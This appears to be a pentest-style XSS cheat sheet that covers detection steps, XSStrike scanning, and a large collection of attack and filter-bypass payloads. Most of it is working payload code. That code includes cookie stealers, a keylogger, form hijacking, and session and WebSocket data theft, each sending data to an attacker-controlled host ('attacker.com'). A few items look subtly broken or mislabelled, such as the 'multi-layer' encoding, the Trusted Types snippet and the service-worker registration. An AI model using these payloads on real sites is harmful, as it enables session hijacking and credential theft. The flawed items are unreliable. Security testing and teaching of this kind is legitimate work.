Cross-Site Scripting (XSS) Attack Guide

Learn how to test and exploit Cross-Site Scripting (XSS) vulnerabilities including detection, attack vectors and bypass techniques.

Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) is a web security vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. These scripts execute in the victim's browser within the security context of the vulnerable website.

How It Works​

XSS occurs when a web application includes untrusted data in a web page without proper validation or escaping. For example, when a website reflects user input:

<div>Hello, <?php echo $_GET['name']; ?></div>  

An attacker might input: <script>alert(1)</script>, resulting in:

<div>Hello, <script>alert(1)</script></div>  

This script executes in the victim's browser with the same privileges as the legitimate website scripts.

Detection​

Manual Testing​

URL Parameter Tests​

Test user input being reflected in the page through URL parameters:

# Step 1: Identify reflection points in URL parameters  
site.com/page?search=TEST     # Search parameters  
site.com/page?name=TEST       # User input fields  
site.com/page?id=TEST         # ID parameters  
  
# Step 2: Test basic XSS payload in each parameter  
site.com/page?search=<script>alert(1)</script>  
site.com/page?name="><script>alert(1)</script>  
site.com/page?id=</script><script>alert(1)</script>  
  
# Step 3: Check if payload executes or gets reflected  
# - If script executes: Direct XSS possible  
# - If script is visible: HTML encoding might be in place  
# - If script disappears: Filtering is active  

Form Input Tests​

Test all input fields in forms for XSS:

# Step 1: Identify form fields  
<input type="text">           # Text inputs  
<input type="search">         # Search boxes  
<textarea>                    # Text areas  
  
# Step 2: Test each field with detection payloads  
"><img src=x onerror=alert(1)>    # Tests quote escape  
'><img src=x onerror=alert(1)>    # Tests single quote escape  
javascript:alert(1)                # Tests href attributes  
  
# Step 3: Observe the response  
# - Check page source for payload reflection  
# - Check if input is encoded  
# - Check browser console for errors  

HTTP Header Tests​

Test headers that might be reflected in the response:

# Step 1: Test common reflected headers  
User-Agent: <script>alert(1)</script>  
Referer: <script>alert(1)</script>  
Cookie: <script>alert(1)</script>  
  
# Step 2: Test custom headers  
X-Forwarded-For: <script>alert(1)</script>  
X-Forwarded-Host: <script>alert(1)</script>  
  
# Step 3: Check response headers and body  
# - Look for header values in page source  
# - Check for reflections in error messages  

HTML Context Tests​

Test payloads based on where input is reflected:

# Step 1: Inside HTML tags  
Original: <div>USER_INPUT</div>  
Test with: <script>alert(1)</script>  
Test with: <img src=x onerror=alert(1)>  
  
# Step 2: Inside HTML attributes  
Original: <input value="USER_INPUT">  
Test with: "><script>alert(1)</script>  
Test with: " autofocus onfocus="alert(1)  
  
# Step 3: Inside script tags  
Original: <script>var name = 'USER_INPUT';</script>  
Test with: ';alert(1);//  
Test with: \';alert(1);//  

JavaScript Context Tests​

Test when input is reflected within JavaScript code:

# Step 1: Inside JavaScript strings  
Original: var user = "USER_INPUT";  
Test with: ";alert(1);//  
Test with: \";alert(1);//  
  
# Step 2: Inside JavaScript code  
Original: var id = USER_INPUT;  
Test with: alert(1)//  
Test with: (alert(1))//  
  
# Step 3: Inside JavaScript functions  
Original: callback('USER_INPUT')  
Test with: ');alert(1);//  
Test with: '});alert(1);//  

DOM Source Tests​

Test common DOM-based XSS sources:

# Step 1: Test URL fragments  
site.com/page#<img src=x onerror=alert(1)>  
site.com/page#javascript:alert(1)  
  
# Step 2: Test localStorage/sessionStorage  
> localStorage.setItem('test', '<img src=x onerror=alert(1)>');  
> sessionStorage.setItem('test', '<img src=x onerror=alert(1)>');  
  
# Step 3: Test document.write sources  
site.com/page?name=<div onmouseover='alert(1)'>  
site.com/page?name=</script><script>alert(1)</script>  

Using XSStrike​

# Step 1: Basic scan  
xsstrike -u "http://target.com/page?param=value"  
  
# Step 2: Advanced scanning options  
xsstrike -u "http://target.com/page?param=value" \  
  --crawl          # Crawl the target  
  --params         # Scan parameters  
  --blind          # Test for blind XSS  
  --headers        # Test headers  
  --vectors        # Use custom vectors  
  --skip-dom      # Skip DOM XSS scanning  
    
# Step 3: Results analysis  
1. Check reported vulnerabilities  
2. Verify findings manually  
3. Test suggested payloads  

Context Tests​

Tests XSS in different DOM contexts:

# JavaScript Variable Context  
var user = "USER_INPUT";          # String variable  
var obj = {"key": "USER_INPUT"};  # Object property  
var arr = ["USER_INPUT"];         # Array element  
  
# URL Parameter Context  
?param=<script>alert(1)</script>  # Basic URL injection  
?param=javascript:alert(1)        # JavaScript protocol  
?param=data:text/html,<script>alert(1)</script>  # Data protocol  
  
# JSON Context  
{"key":"<script>alert(1)</script>"}  # JSON string  
{"key":"</script><script>alert(1)</script>"}  # Script tag break  

Attack Vectors​

Reflected XSS​

XSS payload is reflected back in the server's immediate response:

# Basic Script Injection  
<script>alert(document.cookie)</script>  
<script>fetch('https://attacker.com?cookie='+document.cookie)</script>  
  
# Event Handler Injection  
<img src=x onerror="alert(document.cookie)">  
<body onload="fetch('https://attacker.com?cookie='+document.cookie)">  
  
# JavaScript Protocol  
javascript:alert(document.cookie)  
javascript:fetch('https://attacker.com?cookie='+document.cookie)  

Stored XSS​

Payload is stored on the target server and executed when users visit a page:

# Data Exfiltration  
<script>  
  fetch('https://attacker.com', {  
    method: 'POST',  
    body: JSON.stringify({  
      cookies: document.cookie,  
      url: window.location.href,  
      localStorage: localStorage  
    })  
  });  
</script>  
  
# Keylogger Injection  
<script>  
  document.onkeypress = function(e) {  
    fetch('https://attacker.com/log?key=' + e.key);  
  }  
</script>  
  
# Form Hijacking  
<script>  
  document.forms[0].action = 'https://attacker.com/logger';  
</script>  

DOM Based XSS​

Payload is executed through client-side JavaScript manipulation:

# URL Fragment Exploitation  
#<img src=x onerror=alert(1)>    # Targeting location.hash  
?search=<img src=x onerror=alert(1)>  # Targeting location.search  
  
# DOM Manipulation  
document.write('... USER_INPUT ...')  # document.write injection  
element.innerHTML = '... USER_INPUT ...'  # innerHTML injection  
$("#element").html('... USER_INPUT ...')  # jQuery html() injection  

Advanced XSS Payloads​

Cookie Theft​

# Basic Cookie Stealer  
<script>  
fetch('https://attacker.com/steal?cookie='+document.cookie);  
</script>  
  
# Advanced Cookie Stealer  
<script>  
var xhr = new XMLHttpRequest();  
xhr.open('POST', 'https://attacker.com/logger', true);  
xhr.send(JSON.stringify({  
    'url': window.location.href,  
    'cookies': document.cookie,  
    'localStorage': localStorage,  
    'sessionStorage': sessionStorage  
}));  
</script>  

Session Hijacking​

# Session Hijacker  
<script>  
fetch('/api/user/profile')  
  .then(r=>r.json())  
  .then(data=>fetch('https://attacker.com/logger?data='+btoa(JSON.stringify(data))));  
</script>  
  
# WebSocket Hijacker  
<script>  
var ws = new WebSocket('wss://target.com/ws');  
ws.onmessage = function(e) {  
  fetch('https://attacker.com/ws-log?data='+btoa(e.data));  
};  
</script>  

Bypass Techniques​

Basic Tag Bypass​

Used when basic XSS protections are in place:

# Case Variation  
<ScRiPt>alert(1)</ScRiPt>  
<IMG SRC=x onerror=alert(1)>  
  
# Tag Obfuscation  
<scr<script>ipt>alert(1)</scr</script>ipt>  
<img src=x onerror=alert&#x28;1&#x29>  

Filter Evasion​

Used when specific keywords or patterns are blocked:

# Script Tag Alternatives  
<object data="data:text/html,<script>alert(1)</script>">  
<embed src="data:text/html,<script>alert(1)</script>">  
<iframe src="javascript:alert(1)">  
  
# Event Handler Alternatives  
onmouseover=alert(1)  
OnMoUsEoVeR=alert(1)  
/onclick=alert(1)//  

Encoding Bypass​

Different encoding methods to bypass filters:

# HTML Encoding  
&lt;script&gt;alert(1)&lt;/script&gt;  
  
# URL Encoding  
%3Cscript%3Ealert(1)%3C%2Fscript%3E  
  
# Unicode Encoding  
\u003Cscript\u003Ealert(1)\u003C/script\u003E  
  
# Hex Encoding  
&#x3C;script&#x3E;alert(1)&#x3C;/script&#x3E;  

Content Length Bypass​

Bypassing length restrictions:

# Short Payload  
<svg/onload=alert(1)>  
<img src=x onerror=alert(1)>  
<q/oncut=alert(1)>  

Character Filter Bypass​

Avoiding filtered characters:

# Quotes Bypass  
<img src=x onerror=alert`1`>  
<script>alert(String.fromCharCode(88,83,83))</script>  
  
# Parentheses Bypass  
onerror=alert`1`  
onclick=alert.call`1`  
onmouseover=alert.bind`1`  

Context Escape Bypass​

Breaking out of different contexts:

# JavaScript Context  
'-alert(1)-'  
';alert(1)//  
\';alert(1)//  
  
# Attribute Context  
" onmouseover="alert(1)  
" autofocus onfocus="alert(1)  

Modern Browser Bypass​

Targeting modern browser features and APIs:

# Import Maps Abuse  
<script type="importmap">{"imports": {"x": "data:text/javascript,alert(1)"}}</script>  
<script type="module">import 'x'</script>  
  
# Shadow DOM Injection  
<div id=x></div>  
<script>  
x.attachShadow({mode:'open'}).innerHTML='<img src=x onerror=alert(1)>'  
</script>  
  
# Trusted Types Bypass  
<script>  
trustedTypes.createPolicy('p',{createHTML:_=>\'<img src=x onerror=alert(1)>\'}).createHTML('')  
</script>  
  
# Service Worker Injection  
<script>  
navigator.serviceWorker.register('data:text/javascript,alert(1)')  
</script>  

Advanced DOM Manipulation​

Complex DOM manipulation techniques:

# MutationObserver Abuse  
<script>  
new MutationObserver(function(m){  
    alert(1);  
    o.disconnect();  
}).observe(document.body,{subtree:true,childList:true})  
</script>  
  
# Template Element Injection  
<template><img src=x onerror=alert(1)></template>  
<script>document.body.appendChild(document.querySelector('template').content.cloneNode(true))</script>  
  
# Custom Elements Abuse  
<script>  
customElements.define('xss-test', class extends HTMLElement {  
  connectedCallback() { alert(1) }  
});  
</script>  
<xss-test></xss-test>  

Event Handler Innovation​

Novel event handler techniques:

# ConstructionEvent Abuse  
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:x;}</style>  
<xss id=x style="position:fixed;" onanimationcancel="alert(1)"></xss>  
  
# Intersection Observer  
<script>  
new IntersectionObserver(([e]) => {  
  if (e.isIntersecting) alert(1)  
}).observe(document.body)  
</script>  
  
# ResizeObserver Exploit  
<script>  
new ResizeObserver(() => alert(1)).observe(document.body)  
</script>  

Protocol Handler Exploitation​

Abusing various protocol handlers:

# Data URL Abuse  
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">Click</a>  
  
# Javascript Protocol Variants  
<a href="javascript&colon;alert(1)">Click</a>  
<a href="javascript&#58;alert(1)">Click</a>  
<a href="javascript&#0058;alert(1)">Click</a>  
  
# Blob URL Exploitation  
<script>  
URL.createObjectURL(new Blob(['<script>alert(1)</script>'],{type:'text/html'}))  
</script>  

Modern Framework Bypass Targeting popular JavaScript frameworks:

# Vue Template Injection  
{{constructor.constructor('alert(1)')()}}  
{{_c.constructor('alert(1)')()}}  
  
# Angular Template Injection  
{{$eval.constructor('alert(1)')()}}  
{{$on.constructor('alert(1)')()}}  
  
# React Props Injection  
<div data-react-props="{'dangerouslySetInnerHTML':{'__html':'<img src=x onerror=alert(1)>'}}">  

Advanced Encoding Techniques​

Complex encoding combinations:

# Multi-layer Encoding  
# Base64 + URL + HTML  
&#x3c;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3e;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x3c;&#x2f;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3e;  
  
# Unicode Escape Sequence  
\u0027\u003e\u003c\u0073\u0076\u0067\u0020\u006f\u006e\u006c\u006f\u0061\u0064\u003d\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029\u003e  
  
# CSS Escape  
<style>@import '\\0061lert(1)';</style>  

Regular Expression Bypass​

Techniques to bypass regex-based filters:

# Newline Injection  
<script>alert`  
1`</script>  
  
# Comment Injection  
<!--><script>alert/**/('1')</script>  
  
# Non-standard Attributes  
<x onclick="&#0097;lert(1)">click</x>  

Context-Aware Bypass

# CSS Context  
<style>@import 'data:text/css;base64,KiB7eD11cmwoamF2YXNjcmlwdDphbGVydCgxKSl9';</style>  
  
# SVG Context  
<svg><set attributeName="onmouseover" to="alert(1)"/>  
<svg><animate attributeName="onmouseover" to="alert(1)"/>  
  
# Math Context  
<math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext><style><path id="</style><img onerror='alert(1)'"></mglyph></mtext></math>  

Common Tools​

Tool| Description| Primary Use Case
---|---|---
XSStrike| Advanced XSS detection| Automated scanning
KNOXSS| Online XSS discovery| Quick testing
XSSHunter| Blind XSS detection| Delayed XSS finding
BeEF| Browser exploitation| Post-XSS exploitation
DOMPurify| XSS sanitization| Prevention testing